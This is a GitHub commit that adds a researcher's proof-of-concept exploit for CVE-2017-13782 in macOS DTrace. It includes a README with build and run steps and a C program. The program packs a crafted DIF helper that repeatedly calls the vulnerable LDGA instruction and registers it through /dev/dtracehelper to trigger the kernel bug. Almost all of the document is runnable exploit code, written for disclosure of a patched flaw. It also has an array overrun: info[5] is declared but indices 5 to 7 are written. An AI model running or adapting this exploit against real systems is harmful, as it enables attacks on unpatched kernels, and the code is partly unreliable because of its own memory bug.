Skip to content

Commit b9af6d3

Browse files
Exploit PoC for CVE-2017-13782 (DTrace).
1 parent e24a72f commit b9af6d3

2 files changed

Lines changed: 329 additions & 0 deletions

File tree

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
For more information about this exploit PoC, see the [blog post](https://lgtm.com/blog/apple_xnu_dtrace_CVE-2017-13782).
2+
3+
This exploit PoC is designed for macOS High Sierra version 10.13. Apple released a patch on [Oct 31, 2017](https://support.apple.com/en-us/HT208221).
4+
5+
To run the POC, first compile and run the program (on a Mac):
6+
7+
```
8+
cc -o cve cve-2017-13782-poc.c
9+
./cve
10+
```
11+
12+
Then, from another terminal, run the following command:
13+
14+
```
15+
sudo dtrace -n 'profile-97/execname == "cve"/{ jstack(); }'
16+
```
Lines changed: 313 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,313 @@
1+
/**
2+
* Copyright Kevin Backhouse / Semmle Ltd (2017)
3+
* License: Apache License 2.0
4+
*
5+
* For more information: https://lgtm.com/blog/apple_xnu_dtrace_cve-2017-13782
6+
*/
7+
#include <stdlib.h>
8+
#include <stdint.h>
9+
#include <stdio.h>
10+
#include <string.h>
11+
#include <fcntl.h>
12+
#include <errno.h>
13+
14+
// Some definitions so that we can include dtrace.h and dtrace_impl.h
15+
// without compile errors.
16+
#define KERNEL
17+
18+
typedef u_int64_t user_addr_t;
19+
typedef int boolean_t;
20+
typedef unsigned int uint_t;
21+
typedef unsigned long uintptr_t;
22+
typedef struct ucred cred_t;
23+
typedef uintptr_t cyclic_id_t;
24+
typedef struct vmem vmem_t;
25+
typedef struct kmem_cache kmem_cache_t;
26+
typedef uint_t major_t;
27+
typedef uint_t minor_t;
28+
struct proc;
29+
typedef struct proc *proc_t;
30+
typedef struct _kthread kthread_t;
31+
typedef unsigned int model_t;
32+
typedef uintptr_t pc_t;
33+
struct regs;
34+
35+
typedef void x86_saved_state_t; // real definition can be found in osfmk/mach/i386/thread_status.h
36+
37+
typedef struct kmod_info kmod_info_t; // real definition can be found in osfmk/mach/kmod.h
38+
39+
#define offsetof(type, field) __builtin_offsetof(type, field)
40+
41+
#include "dtrace.h" // From the XNU source code
42+
#include "dtrace_impl.h" // From the XNU source code
43+
44+
typedef struct {
45+
char kev_woz_ere[13];
46+
char format[11];
47+
char dtrace[7];
48+
char helper[7];
49+
char ustack[7];
50+
char empty[1];
51+
char kev_name[9];
52+
} program_strtab_t;
53+
54+
static const program_strtab_t program_strtab = {
55+
"kev woz ere",
56+
"kev_format",
57+
"dtrace",
58+
"helper",
59+
"ustack",
60+
"",
61+
"kev_name"
62+
};
63+
64+
dof_hdr_t *pack_difo(dtrace_difo_t* difo) {
65+
dof_hdr_t *dof = 0;
66+
dof_sec_t *sec = 0;
67+
dof_ecbdesc_t ecb;
68+
dof_probedesc_t probe;
69+
dof_actdesc_t act;
70+
const size_t difohdr_sz = sizeof(dof_difohdr_t) + 3 * sizeof(dof_secidx_t);
71+
dof_difohdr_t *difohdr = 0;
72+
const uint32_t secnum = 8;
73+
uint64_t secoff = 0;
74+
uint64_t dofs_offset = 0;
75+
uint64_t len = 0;
76+
size_t i = 0;
77+
78+
static struct {
79+
int section;
80+
char* buffer;
81+
uint_t bufsize;
82+
int entsize;
83+
int align;
84+
const char *msg;
85+
} info[5];
86+
87+
memset(&ecb, 0, sizeof(ecb));
88+
memset(&probe, 0, sizeof(probe));
89+
memset(&act, 0, sizeof(act));
90+
91+
difohdr = malloc(difohdr_sz);
92+
memset(difohdr, 0, difohdr_sz);
93+
94+
info[0].section = DOF_SECT_STRTAB;
95+
info[0].buffer = (char*)&program_strtab;
96+
info[0].bufsize = sizeof(program_strtab);
97+
info[0].entsize = 0;
98+
info[0].align = sizeof(char);
99+
info[0].msg = "string table";
100+
101+
info[1].section = DOF_SECT_ECBDESC;
102+
info[1].buffer = (char*)&ecb;
103+
info[1].bufsize = sizeof(ecb);
104+
info[1].entsize = 0;
105+
info[1].align = sizeof(uint64_t);
106+
info[1].msg = "ecbdesc";
107+
108+
info[2].section = DOF_SECT_PROBEDESC;
109+
info[2].buffer = (char*)&probe;
110+
info[2].bufsize = sizeof(probe);
111+
info[2].entsize = 0;
112+
info[2].align = sizeof(dof_secidx_t);
113+
info[2].msg = "probedesc";
114+
115+
info[3].section = DOF_SECT_ACTDESC;
116+
info[3].buffer = (char*)&act;
117+
info[3].bufsize = sizeof(act);
118+
info[3].entsize = sizeof(dof_actdesc_t);
119+
info[3].align = sizeof(uint64_t);
120+
info[3].msg = "actdesc";
121+
122+
info[4].section = DOF_SECT_DIFOHDR;
123+
info[4].buffer = (char*)difohdr;
124+
info[4].bufsize = difohdr_sz;
125+
info[4].entsize = 0;
126+
info[4].align = sizeof (dof_secidx_t);
127+
info[4].msg = "difohdr";
128+
129+
info[5].section = DOF_SECT_DIF;
130+
info[5].buffer = (char*)difo->dtdo_buf;
131+
info[5].bufsize = difo->dtdo_len * sizeof(dif_instr_t);
132+
info[5].entsize = sizeof(dif_instr_t);
133+
info[5].align = sizeof(dif_instr_t);
134+
info[5].msg = "DIF section";
135+
136+
info[6].section = DOF_SECT_INTTAB;
137+
info[6].buffer = (char*)difo->dtdo_inttab;
138+
info[6].bufsize = difo->dtdo_intlen * sizeof (uint64_t);
139+
info[6].entsize = sizeof(uint64_t);
140+
info[6].align = sizeof(uint64_t);
141+
info[6].msg = "integer table";
142+
143+
info[7].section = DOF_SECT_VARTAB;
144+
info[7].buffer = (char*)difo->dtdo_vartab;
145+
info[7].bufsize = difo->dtdo_varlen * sizeof (dtrace_difv_t);
146+
info[7].entsize = sizeof(dtrace_difv_t);
147+
info[7].align = sizeof(uint_t);
148+
info[7].msg = "variable table";
149+
150+
ecb.dofe_probes = 2; // info[2]
151+
ecb.dofe_pred = DOF_SECIDX_NONE; // no predicate
152+
ecb.dofe_actions = 3; // info[3]
153+
ecb.dofe_uarg = 0xDEADBEEF; // optional argument
154+
155+
probe.dofp_strtab = 0; // info[0]
156+
probe.dofp_provider = offsetof(program_strtab_t, dtrace);
157+
probe.dofp_mod = offsetof(program_strtab_t, helper);
158+
probe.dofp_func = offsetof(program_strtab_t, ustack);
159+
probe.dofp_name = offsetof(program_strtab_t, empty);
160+
probe.dofp_id = 0;
161+
162+
act.dofa_difo = 4; // info[4]
163+
act.dofa_strtab = 0; // info[0]
164+
act.dofa_kind = DTRACEACT_DIFEXPR;
165+
act.dofa_ntuple = 0; // I think this is not used by ustack.
166+
act.dofa_arg = offsetof(program_strtab_t, format); // For some reason, this has to be a string, even though it is never used.
167+
act.dofa_uarg = 0xDEADBEEF; // unused
168+
169+
difohdr->dofd_rtype = difo->dtdo_rtype;
170+
difohdr->dofd_links[0] = 0; // info[0]
171+
difohdr->dofd_links[1] = 5; // info[5]
172+
difohdr->dofd_links[2] = 6; // info[6]
173+
difohdr->dofd_links[3] = 7; // info[7]
174+
175+
// Calculate the total size.
176+
secoff = sizeof(dof_hdr_t);
177+
dofs_offset = secoff;
178+
len = 0;
179+
for (i = 0; i < secnum; i++) {
180+
dofs_offset += roundup(sizeof(dof_sec_t), sizeof(uint64_t));
181+
len += roundup(info[i] .bufsize, sizeof(uint64_t));
182+
}
183+
len += dofs_offset;
184+
185+
dof = malloc(len);
186+
memset(dof, 0, len);
187+
dof->dofh_ident[DOF_ID_MAG0] = DOF_MAG_MAG0;
188+
dof->dofh_ident[DOF_ID_MAG1] = DOF_MAG_MAG1;
189+
dof->dofh_ident[DOF_ID_MAG2] = DOF_MAG_MAG2;
190+
dof->dofh_ident[DOF_ID_MAG3] = DOF_MAG_MAG3;
191+
192+
dof->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_NATIVE;
193+
dof->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE;
194+
dof->dofh_ident[DOF_ID_VERSION] = DOF_VERSION;
195+
dof->dofh_ident[DOF_ID_DIFVERS] = DIF_VERSION;
196+
dof->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS;
197+
dof->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS;
198+
199+
dof->dofh_flags = 0;
200+
dof->dofh_hdrsize = sizeof(dof_hdr_t);
201+
dof->dofh_secsize = sizeof(dof_sec_t);
202+
dof->dofh_secnum = secnum;
203+
dof->dofh_secoff = secoff;
204+
dof->dofh_loadsz = len;
205+
dof->dofh_filesz = len;
206+
dof->dofh_pad = 0;
207+
208+
for (i = 0; i < secnum; i++) {
209+
sec = (dof_sec_t *)((uintptr_t)dof + secoff);
210+
sec->dofs_type = info[i].section;
211+
sec->dofs_align = info[i].align;
212+
sec->dofs_flags = DOF_SECF_LOAD;
213+
sec->dofs_entsize = info[i].entsize;
214+
sec->dofs_offset = dofs_offset;
215+
sec->dofs_size = info[i].bufsize;
216+
memcpy((void*)((uintptr_t)dof + dofs_offset), info[i].buffer, info[i].bufsize);
217+
secoff += roundup(sizeof(dof_sec_t), sizeof(uint64_t));
218+
dofs_offset += roundup(info[i].bufsize, sizeof(uint64_t));
219+
}
220+
221+
return (dof);
222+
}
223+
224+
dtrace_difo_t* mkprog() {
225+
int i;
226+
size_t pc = 0;
227+
size_t ninstrs = 133;
228+
dif_instr_t *instrs;
229+
dtrace_difo_t *difo = malloc(sizeof(dtrace_difo_t));
230+
memset(difo, 0, sizeof(dtrace_difo_t));
231+
instrs = malloc(ninstrs * sizeof(dif_instr_t));;
232+
difo->dtdo_buf = instrs;
233+
difo->dtdo_len = ninstrs;
234+
difo->dtdo_strtab = (char*)&program_strtab;
235+
difo->dtdo_strlen = sizeof(program_strtab);
236+
difo->dtdo_rtype.dtdt_kind = DIF_TYPE_STRING;
237+
238+
// r1 = 0xFFFFFFFFFFFFFFFF
239+
instrs[pc++] = DIF_INSTR_FMT(DIF_OP_NOT,0,0,1);
240+
241+
// r1 = 1
242+
instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SUB,0,1,1);
243+
244+
// r2 = 2
245+
instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SLL,1,1,2);
246+
247+
for (i = 0; i < 64; i++) {
248+
// r2 *= 2
249+
instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SLL,2,1,2);
250+
251+
// Call vulnerable instruction DIF_OP_LDGA.
252+
// r3 = LDGA(0, r2)
253+
instrs[pc++] = DIF_INSTR_FMT(DIF_OP_LDGA,0,2,3);
254+
}
255+
256+
// Attempt to write a string in the ustack output. Unfortunately,
257+
// ustack helpers are broken in macOS, so this does not work.
258+
// r4 = "kev woz ere"
259+
instrs[pc++] =
260+
DIF_INSTR_SETS(offsetof(program_strtab_t, kev_woz_ere), 4);
261+
262+
// return r4
263+
instrs[pc++] = DIF_INSTR_FMT(DIF_OP_RET,0,0,4);
264+
265+
// Check that we allocated the correct number of instructions.
266+
if (pc != ninstrs) {
267+
printf("wrong number of instructions: %lu != %lu\n", pc, ninstrs);
268+
exit(1);
269+
}
270+
271+
return difo;
272+
}
273+
274+
void register_helper() {
275+
int fd, err;
276+
dtrace_difo_t *difo;
277+
dof_hdr_t *dof;
278+
dof_ioctl_data_t* ioctl_data = 0;
279+
int rv = 1;
280+
int result;
281+
282+
ioctl_data = malloc(sizeof(dof_ioctl_data_t));
283+
difo = mkprog();
284+
dof = pack_difo(difo);
285+
286+
ioctl_data->dofiod_count = 1;
287+
strcpy(ioctl_data->dofiod_helpers[0].dofhp_mod, "helper");
288+
ioctl_data->dofiod_helpers[0].dofhp_addr = (uint64_t)dof;
289+
ioctl_data->dofiod_helpers[0].dofhp_dof = (uint64_t)dof;
290+
291+
fd = open("/dev/dtracehelper", O_RDWR);
292+
err = errno;
293+
printf ("open /dev/dtracehelper %d %d\n\n", fd, err);
294+
fcntl(fd, F_SETFD, FD_CLOEXEC);
295+
296+
rv = 1;
297+
result = ioctl(fd, DTRACEHIOC_ADDDOF, &ioctl_data, &rv);
298+
err = errno;
299+
300+
printf("dofhp_dof = %llu\n", ioctl_data->dofiod_helpers[0].dofhp_dof);
301+
printf ("ioctl %d %d\n", result, err);
302+
printf("rv = %d\n\n", rv);
303+
}
304+
305+
int main() {
306+
register_helper();
307+
308+
// Infinite loop to keep the program running while we trigger the
309+
// bug from another terminal.
310+
while (1);
311+
312+
return 0;
313+
}

0 commit comments

Comments
 (0)